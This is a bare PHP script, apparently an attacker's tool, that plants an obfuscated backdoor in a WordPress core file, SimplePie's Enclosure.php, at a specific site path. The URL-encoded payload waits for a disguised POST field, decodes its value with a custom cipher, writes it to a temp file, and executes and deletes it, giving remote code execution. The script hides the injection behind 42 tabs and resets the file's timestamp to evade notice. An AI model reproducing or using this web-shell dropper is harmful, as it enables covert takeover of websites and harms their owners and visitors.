<?php  $path = '/home/dailyajk/public_html/wp-includes/SimplePie/library/SimplePie/Enclosure.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%28in_array%28%22p%5Cx67%5Cx72p%22%2C%20array_keys%28%24_POST%29%29%29%7B%20%24marker%20%3D%20array_filter%28%5B%22/tmp%22%2C%20%22/dev/shm%22%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20%22/var/tmp%22%2C%20sys_get_temp_dir%28%29%2C%20getcwd%28%29%2C%20getenv%28%22TEMP%22%29%2C%20getenv%28%22TMP%22%29%2C%20session_save_path%28%29%5D%29%3B%20%24token%20%3D%20%24_POST%5B%22p%5Cx67%5Cx72p%22%5D%3B%20%24token%20%3D%20explode%20%28%20%22.%22%2C%24token%20%29%3B%20%24ptr%20%3D%20%27%27%3B%20%24s2%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%20%3D%20strlen%28%20%24s2%20%29%3B%20%24s%20%3D%200%3B%20while%28%20%24s%20%3C%20count%28%20%24token%29%29%20%7B%20%24v3%20%3D%20%24token%5B%24s%5D%3B%20%24chS%20%3D%20ord%28%20%24s2%5B%24s%20%25%20%24sLen%5D%20%29%3B%20%24dec%20%3D%28%20%28%20int%29%24v3%20-%20%24chS%20-%28%20%24s%20%25%2010%29%29%5E%2085%3B%20%24ptr%20.%3D%20chr%28%20%24dec%20%29%3B%20%24s%2B%2B%3B%7D%20foreach%20%28%24marker%20as%20%24key%20%3D%3E%20%24comp%29%20%7B%20if%20%28%28function%28%24d%29%20%7B%20return%20is_dir%28%24d%29%20%26%26%20is_writable%28%24d%29%3B%20%7D%29%28%24comp%29%29%20%7B%20%24data%20%3D%20%22%24comp%22%20.%20%22/.elem%22%3B%20if%20%28%40file_put_contents%28%24data%2C%20%24ptr%29%20%21%3D%3D%20false%29%20%7B%20include%20%24data%3B%20unlink%28%24data%29%3B%20die%28%29%3B%20%7D%20%7D%20%7D%20%7D'); if (strlen($content) < 32) {     die('!failed!'); } if (strstr($content, $new_code)) {     die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {     $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) {     $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) {     die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     $len = strlen($start);     if ($len > strlen($body) || substr($body, 0, $len) !== $start) {         continue;     }     if ($start === '<?') {         if (strncmp($body, '<?xml', 5) === 0) {             continue;         }         if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') {             continue;         }     }     $rest = substr($body, $len);     $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest;     $tmp = @tempnam(dirname($path), 't');     if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) {         @touch($path, $ft);         $check = (string) @file_get_contents($path);         if (strstr($check, $new_code)) {             die('!success!');         }     }     if ($tmp !== false && is_file($tmp)) {         @unlink($tmp);     } } die('!failed!');